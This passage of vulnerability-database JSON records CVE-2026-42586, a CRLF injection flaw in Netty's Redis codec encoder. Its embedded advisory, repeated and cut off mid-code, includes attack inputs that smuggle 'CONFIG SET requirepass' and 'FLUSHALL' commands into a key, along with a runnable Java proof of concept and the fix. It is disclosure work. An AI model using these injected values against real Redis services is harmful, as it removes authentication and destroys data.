,"tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42585","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42586","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42587","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44248","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-42586","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42586","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8401-1","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-42586","title":"Netty: CRLF Injection in Netty Redis Codec Encoder","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T18:20:46.999Z","modified":"2026-05-14T18:17:23.328Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-30129","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T18:20:46Z","modified":"2026-05-14T18:17:23Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:04:31.113278Z"}],"ghsa":[{"id":"GHSA-rgrr-p7gp-5xj7","title":"Netty Redis Codec Encoder has a CRLF Injection Issue","description":"# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n                                     RedisConstants.EOL_LENGTH);\n    type.writeTo(buf);\n    ByteBufUtil.writeUtf8(buf, content);       // \u003c-- NO CRLF VALIDATION\n    buf.writeShort(RedisConstants.EOL_SHORT);   // \u003c-- Appends \\r\\n\n    out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty's `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\");  // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n        testInlineCommandInjection();\n        testSimpleStringInjection();\n        testErrorMessageInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: Inline Command Injection\n     * An attacker-controlled string injected into InlineCommandRedisMessage\n     * results in multiple Redis commands being sent.\n     */\n    static void testInlineCommandInjection() {\n        System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n        System.out.println(\"----------------------------------------\");\n\n        // Malicious content: inject FLUSHALL after a benign PING\n        String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        // This should be rejected but is accepted\n        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   InlineCommandRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // Count how many CRLF-delimited commands are in the output\n        String[] commands = encoded.split(\"\\r\\n\");\n        System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n        for (int i = 0; i \u003c commands.length; i++) {\n            if (!commands[i].isEmpty()) {\n                System.out.println(\"  Command \" + (i + 1) + \": \" + commands[i]);\n            }\n        }\n\n        boolean vulnerable = commands.length \u003e 1;\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 2: SimpleString Response Injection\n     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n     * can inject fake responses to the downstream client.\n     */\n    static void testSimpleStringInjection() {\n        System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n        System.out.println(\"----------------------------------------------\");\n\n        // Malicious content: inject a fake bulk string response after OK\n        String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   SimpleStringRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // The RESP protocol uses the first byte to determine type:\n        // '+' = Simple String, '$' = Bulk String\n        // A client parsing this would see:\n        // 1. \"+OK\\r\\n\"       -\u003e Simple String \"OK\"\n        // 2. \"$6\\r\\nhacked\"  -\u003e Bulk String \"hacked\" (injected!)\n        boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 3: Error Message Injection\n     * Similar to SimpleString but with error messages.\n     */\n    static void testErrorMessageInjection() {\n        System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n        System.out.println(\"--------------------------------------\");\n\n        String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   ErrorRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput:   InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n  Command 1: PING\n  Command 2: CONFIG SET requirepass \"\"\n  Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput:   SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput:   ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new IllegalArgumentException(\n                \"Redis message content contains illegal CRLF character at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new RedisCodecException(\n                \"Redis message content contains CRLF at index \" + i);\n        }\n    }\n    // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)","status":"published","published":"2026-05-07T00:24:08Z","modified":"2026-06-11T10:04:27Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:40:26.12116Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2023-11-06T22:08:37Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:15.055009Z"}],"nvd":[{"id":"CVE-2026-42586","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T19:17:24.323Z","modified":"2026-10-26T17:10:03.27Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-42586","title":"Netty: CRLF Injection in Netty Redis Codec Encoder","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T18:20:46.999Z","modified":"2026-10-28T02:30:33.091827107Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"DEBIAN-CVE-2026-42586","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T19:17:24.323Z","modified":"2026-10-27T09:47:31.069761637Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:55.251751Z"},{"id":"GHSA-rgrr-p7gp-5xj7","title":"Netty Redis Codec Encoder has a CRLF Injection Issue","description":"# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n                                     RedisConstants.EOL_LENGTH);\n    type.writeTo(buf);\n    ByteBufUtil.writeUtf8(buf, content);       // \u003c-- NO CRLF VALIDATION\n    buf.writeShort(RedisConstants.EOL_SHORT);   // \u003c-- Appends \\r\\n\n    out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty's `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\");  // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n        testInlineCommandInjection();\n        testSimpleStringInjection();\n        testErrorMessageInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: Inline Command Injection\n     * An attacker-controlled string injected into InlineCommandRedisMessage\n     * results in multiple Redis commands being sent.\n     */\n    static void testInlineCommandInjection() {\n        System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n        System.out.println(\"----------------------------------------\");\n\n        // Malicious content: inject FLUSHALL after a benign PING\n        String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        // This should be rejected but is accepted\n        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   InlineCommandRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // Count how many CRLF-delimited commands are in the output\n        String[] commands = encoded.split(\"\\r\\n\");\n        System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n        for (int i = 0; i \u003c commands.length; i++) {\n            if (!commands[i].isEmpty()) {\n                System.out.println(\"  Command \" + (i + 1) + \": \" + commands[i]);\n            }\n        }\n\n        boolean vulnerable = commands.length \u003e 1;\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 2: 